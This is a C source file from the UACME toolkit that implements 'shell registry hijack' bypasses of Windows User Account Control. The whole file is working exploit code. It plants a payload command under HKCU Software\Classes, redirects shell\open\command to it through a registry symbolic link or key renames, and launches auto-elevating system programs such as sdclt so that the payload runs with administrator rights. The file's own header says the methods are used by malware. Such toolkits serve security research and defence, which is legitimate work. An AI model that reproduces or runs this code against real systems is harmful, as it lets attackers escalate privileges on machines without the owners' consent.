Files
hfiref0x-UACME/Source/Akagi/methods/shellsup.c
T
hfiref0x e9495cfd2f v 3.5.0
350 release
2020-10-06 00:17:21 +07:00

493 lines
12 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2016 - 2020
*
* TITLE: SHELLSUP.C
*
* VERSION: 3.50
*
* DATE: 14 Sep 2020
*
* Shell registry hijack autoelevation methods.
*
* Used by various malware.
*
* For description please visit original URL
* https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
* https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
* https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
* https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
* https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
* http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
* https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
* https://packetstormsecurity.com/files/155927/Microsoft-Windows-10-Local-Privilege-Escalation.html
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
/*
* ucmxSetSlaveParams
*
* Purpose:
*
* Set slave key parameters.
*
*/
NTSTATUS ucmxSetSlaveParams(
_In_ HANDLE KeyHandle,
_In_ LPWSTR Payload
)
{
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
SIZE_T sz;
DWORD cbData, dummy;
dummy = 0;
cbData = 0;
ntStatus = supRegWriteValue(KeyHandle,
T_DELEGATEEXECUTE,
REG_SZ,
&dummy,
cbData);
if (NT_SUCCESS(ntStatus)) {
//
// Set "Default" value as our payload.
//
sz = (1 + _strlen(Payload)) * sizeof(WCHAR);
ntStatus = supRegWriteValue(KeyHandle,
NULL,
REG_SZ,
(PVOID)Payload,
(ULONG)sz);
}
return ntStatus;
}
/*
* ucmxCreateSlaveKey
*
* Purpose:
*
* Create temporary key with all required values.
*
*/
NTSTATUS ucmxCreateSlaveKey(
_In_ HANDLE RootKey,
_In_ LPWSTR Payload,
_Inout_ LPWSTR SlaveKey //cch max MAX_PATH
)
{
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
GUID guidTemp;
LPWSTR lpGuidKey = NULL;
HKEY hKey;
SIZE_T sz;
do {
if (CoCreateGuid(&guidTemp) != S_OK)
break;
if (StringFromCLSID(&guidTemp, &lpGuidKey) != S_OK)
break;
sz = (1 + _strlen(lpGuidKey)) * sizeof(WCHAR);
_strncpy(SlaveKey, MAX_PATH, lpGuidKey, MAX_PATH);
//
// Slave key with data.
//
if (ERROR_SUCCESS == RegCreateKey(RootKey,
lpGuidKey,
&hKey))
{
ntStatus = ucmxSetSlaveParams(hKey, Payload);
RegCloseKey(hKey);
}
} while (FALSE);
if (lpGuidKey)
CoTaskMemFree(lpGuidKey);
return ntStatus;
}
/*
* ucmShellRegModMethod
*
* Purpose:
*
* Bypass UAC using various registry shell key modifications.
*
*/
NTSTATUS ucmShellRegModMethod(
_In_ UCM_METHOD Method,
LPWSTR lpTargetKey,
LPWSTR lpszTargetApp,
LPWSTR lpszPayload
)
{
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
BOOLEAN bSlaveCreated = FALSE;
NTSTATUS ntStatus = STATUS_ACCESS_DENIED;
HANDLE masterRootKey = NULL, classesKey = NULL, targetKey = NULL;
OBJECT_ATTRIBUTES obja;
UNICODE_STRING usCurrentUser, usMasterKey, usSlaveKey;
WCHAR szSlaveKey[MAX_PATH * 2];
WCHAR szMasterKey[MAX_PATH * 2];
WCHAR szClasses[MAX_PATH];
WCHAR szBuffer[MAX_PATH * 2];
SHELLEXECUTEINFO shinfo;
LPWSTR lpSlaveNtKey = NULL;
DWORD dummy;
SIZE_T sz;
UNICODE_STRING CmSymbolicLinkValue = RTL_CONSTANT_STRING(L"SymbolicLinkValue");
HRESULT hr_init;
hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
RtlSecureZeroMemory(&szSlaveKey, sizeof(szSlaveKey));
#ifndef _WIN64
if (g_ctx->IsWow64) {
ntStatus = supEnableDisableWow64Redirection(TRUE);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
}
#endif
do {
//
// Remember current user reg name.
//
ntStatus = RtlFormatCurrentUserKeyPath(&usCurrentUser);
if (!NT_SUCCESS(ntStatus))
break;
//
// Open classes root.
//
ntStatus = supOpenClassesKey(&usCurrentUser, &classesKey);
if (!NT_SUCCESS(ntStatus))
break;
//
// Create slave key.
//
szSlaveKey[0] = L'\\';
szSlaveKey[1] = 0;
ntStatus = ucmxCreateSlaveKey(
classesKey,
lpszPayload,
&szSlaveKey[1]);
if (!NT_SUCCESS(ntStatus))
break;
bSlaveCreated = TRUE;
//
// Allocate slave NT regpath.
//
sz = (MAX_PATH + _strlen(szSlaveKey) * sizeof(WCHAR)) +
usCurrentUser.MaximumLength;
lpSlaveNtKey = (PWSTR)supHeapAlloc(sz);
if (lpSlaveNtKey == NULL)
break;
RtlInitEmptyUnicodeString(&usSlaveKey, lpSlaveNtKey, sz);
ntStatus = RtlAppendUnicodeStringToString(&usSlaveKey, &usCurrentUser);
if (!NT_SUCCESS(ntStatus))
break;
szClasses[0] = L'\\';
szClasses[1] = 0;
_strcpy(&szClasses[1], T_SOFTWARE_CLASSES);
ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szClasses);
if (!NT_SUCCESS(ntStatus))
break;
ntStatus = RtlAppendUnicodeToString(&usSlaveKey, szSlaveKey);
if (!NT_SUCCESS(ntStatus))
break;
//
// Create empty master key.
//
_strncpy(szMasterKey, MAX_PATH, lpTargetKey, MAX_PATH);
_strcat(szMasterKey, T_SHELL_OPEN);
if (ERROR_SUCCESS != RegCreateKeyEx(classesKey,
szMasterKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,
MAXIMUM_ALLOWED,
NULL,
(HKEY*)&masterRootKey,
NULL))
{
break;
}
//
// Open/create master key.
//
RtlInitUnicodeString(&usMasterKey, T_SHELL_COMMAND);
InitializeObjectAttributes(&obja, &usMasterKey, OBJ_CASE_INSENSITIVE, masterRootKey, NULL);
ntStatus = NtCreateKey(&targetKey,
KEY_ALL_ACCESS,
&obja, 0, NULL,
REG_OPTION_CREATE_LINK | REG_OPTION_VOLATILE,
&dummy);
//
// If link already created, update it.
//
if (ntStatus == STATUS_OBJECT_NAME_COLLISION) {
obja.Attributes |= OBJ_OPENLINK;
ntStatus = NtOpenKey(&targetKey,
KEY_ALL_ACCESS,
&obja);
}
if (!NT_SUCCESS(ntStatus))
break;
sz = _strlen(usSlaveKey.Buffer) * sizeof(WCHAR);
ntStatus = NtSetValueKey(targetKey,
&CmSymbolicLinkValue,
0,
REG_LINK,
(PVOID)usSlaveKey.Buffer,
(ULONG)usSlaveKey.Length);
if (!NT_SUCCESS(ntStatus))
break;
NtClose(targetKey);
targetKey = NULL;
if ((Method == UacMethodShellChangePk) || (Method == UacMethodShellSdclt)) {
_strcpy(szBuffer, g_ctx->szSystemDirectory);
_strcat(szBuffer, lpszTargetApp);
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.lpVerb = RUNAS_VERB;
shinfo.lpFile = szBuffer;
shinfo.nShow = SW_SHOWNORMAL;
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
if (ShellExecuteEx(&shinfo)) {
Sleep(5000);
TerminateProcess(shinfo.hProcess, 0);
CloseHandle(shinfo.hProcess);
MethodResult = STATUS_SUCCESS;
}
}
else {
if (supRunProcess(lpszTargetApp, NULL))
MethodResult = STATUS_SUCCESS;
}
} while (FALSE);
if (targetKey) NtClose(targetKey);
if (lpSlaveNtKey) supHeapFree(lpSlaveNtKey);
//
// Cleanup slave key.
//
if (bSlaveCreated) {
if (classesKey) {
RegDeleteKey(classesKey, &szSlaveKey[1]);//skip slash
}
}
if (classesKey)
NtClose(classesKey);
if (SUCCEEDED(hr_init)) CoUninitialize();
//
// Remove symlink.
//
szMasterKey[0] = L'\\';
szMasterKey[1] = 0;
_strcpy(&szMasterKey[1], T_SOFTWARE_CLASSES);
_strcat(szMasterKey, TEXT("\\"));
_strcat(szMasterKey, lpTargetKey);
_strcat(szMasterKey, T_SHELL_OPEN);
_strcat(szMasterKey, TEXT("\\"));
_strcat(szMasterKey, T_SHELL_COMMAND);
supRemoveRegLinkHKCU(szMasterKey);
#ifndef _WIN64
if (g_ctx->IsWow64) {
supEnableDisableWow64Redirection(FALSE);
}
#endif
return MethodResult;
}
/*
* ucmShellRegModMethod2
*
* Purpose:
*
* Bypass UAC using various registry shell key modifications.
*
*/
NTSTATUS ucmShellRegModMethod2(
_In_ UCM_METHOD Method,
LPWSTR lpTargetKey,
LPWSTR lpszTargetApp,
LPWSTR lpszPayload
)
{
BOOLEAN bBackupAvailable = FALSE;
NTSTATUS MethodResult = STATUS_ACCESS_DENIED, ntStatus;
HANDLE hClassesRoot, hSubKey = NULL;
DWORD dwDisp = 0;
WCHAR szKey[MAX_PATH];
PWSTR pwszKey;
UNREFERENCED_PARAMETER(Method);
#ifndef _WIN64
if (g_ctx->IsWow64) {
ntStatus = supEnableDisableWow64Redirection(TRUE);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
}
#endif
do {
ntStatus = supOpenClassesKey(NULL, &hClassesRoot);
if (!NT_SUCCESS(ntStatus))
break;
RtlSecureZeroMemory(&szKey, sizeof(szKey));
_strcpy(szKey, lpTargetKey);
_strcat(szKey, T_SHELL_OPEN);
_strcat(szKey, TEXT("\\"));
_strcat(szKey, T_SHELL_COMMAND);
//
// If "command" key exist - backup it.
//
if (ERROR_SUCCESS == RegOpenKeyEx(hClassesRoot,
szKey,
0,
MAXIMUM_ALLOWED,
(HKEY*)&hSubKey))
{
RegCloseKey(hSubKey);
bBackupAvailable = (RegRenameKey(hClassesRoot,
szKey,
MYSTERIOUSCUTETHING) == ERROR_SUCCESS);
}
_strcat(szKey, TEXT("~"));
hSubKey = NULL;
if (ERROR_SUCCESS != RegCreateKeyEx(hClassesRoot,
szKey,
0,
NULL,
REG_OPTION_NON_VOLATILE,
MAXIMUM_ALLOWED,
NULL,
(HKEY*)&hSubKey,
&dwDisp))
{
break;
}
ntStatus = ucmxSetSlaveParams(hSubKey, lpszPayload);
if (!NT_SUCCESS(ntStatus))
break;
RegCloseKey(hSubKey);
hSubKey = NULL;
RegRenameKey(hClassesRoot, szKey, T_SHELL_COMMAND);
if (supRunProcess(lpszTargetApp, NULL))
MethodResult = STATUS_SUCCESS;
} while (FALSE);
if (hSubKey) RegCloseKey(hSubKey);
//
// Cleanup section.
//
_strcpy(szKey, lpTargetKey);
_strcat(szKey, T_SHELL_OPEN);
_strcat(szKey, TEXT("\\"));
if (bBackupAvailable) {
pwszKey = _strend(szKey);
_strcat(szKey, T_SHELL_COMMAND);
RegDeleteKey(hClassesRoot, szKey);
*pwszKey = 0;
_strcat(szKey, MYSTERIOUSCUTETHING);
RegRenameKey(hClassesRoot,
szKey,
T_SHELL_COMMAND);
}
else {
_strcat(szKey, T_SHELL_COMMAND);
RegDeleteKey(hClassesRoot, szKey);
}
if (hClassesRoot) NtClose(hClassesRoot);
#ifndef _WIN64
if (g_ctx->IsWow64) {
supEnableDisableWow64Redirection(FALSE);
}
#endif
return MethodResult;
}